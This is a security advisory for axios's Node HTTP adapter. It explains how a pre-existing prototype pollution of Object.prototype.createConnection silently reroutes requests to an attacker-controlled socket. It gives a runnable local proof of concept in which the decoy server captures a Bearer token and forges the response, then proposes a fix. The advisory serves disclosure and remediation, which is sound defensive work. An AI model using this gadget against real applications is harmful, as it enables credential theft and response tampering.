Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.
Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.
Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.
This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.
Affected:
createConnection.Object.prototype.createConnection is polluted.Not affected:
createConnection and sanitizes options internally.lib/adapters/http.js creates:
const options = Object.assign(Object.create(null), {
path,
method,
headers,
agents: { http: httpAgent, https: httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
});
The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.
Constrained local demonstration:
Object.prototype.createConnection = function (_options, cb) {
const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
if (typeof cb === 'function') cb(null, socket);
});
return socket;
};
await axios.get('http://127.0.0.1:<legit-port>/secret', {
headers: { Authorization: 'Bearer SECRET' },
proxy: false
});
Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.
Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.
Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.
When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.
This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.
Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:
The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.
The HTTP adapter constructs a null-prototype request options object before calling the selected transport:
const options = Object.assign(Object.create(null), {
path,
method: method,
headers: toByteStringHeaderObject(headers),
agents: { http: config.httpAgent, https: config.httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
});
That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.
createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.
The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.
import net from 'node:net';
import http from 'node:http';
import axios from 'axios';
function listen(handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(0, '127.0.0.1', () => resolve(s));
});
}
const legitHits = [];
const attackerHits = [];
const legit = await listen((req, res) => {
legitHits.push({url: req.url, auth: req.headers.authorization || null});
res.end('LEGIT');
});
const attacker = await listen((req, res) => {
attackerHits.push({url: req.url, auth: req.headers.authorization || null});
res.end('ATTACKER');
});
Object.prototype.createConnection = function(options, cb) {
const sock = net.createConnection({
host: '127.0.0.1',
port: attacker.address().port,
}, () => {
if (typeof cb === 'function') cb(null, sock);
});
return sock;
};
const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
headers: {Authorization: 'Bearer SECRET'},
proxy: false,
});
console.log({
response: res.data,
legitHits,
attackerHits,
});
Observed result on the current npm package:
{
"response": "ATTACKER",
"legitHits": [],
"attackerHits": [
{
"url": "/secret",
"auth": "Bearer SECRET"
}
]
}
The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.
I reproduced this against:
v1.x source at commit a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772bAdding an own safe value for createConnection to the adapter options object prevents inherited pollution from being observed after Node's option copy:
const options = Object.assign(Object.create(null), {
path,
method: method,
headers: toByteStringHeaderObject(headers),
agents: { http: config.httpAgent, https: config.httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
createConnection: undefined,
});
With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.
Set own safe defaults for sensitive Node HTTP request options before calling transport.request, at minimum:
createConnection: undefined
I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as lookup, timeout, localAddress, servername, signal, and related options.
{
"cwe_ids": [
"CWE-1321",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:32:51Z",
"nvd_published_at": "2026-09-28T18:17:18Z",
"severity": "HIGH"
}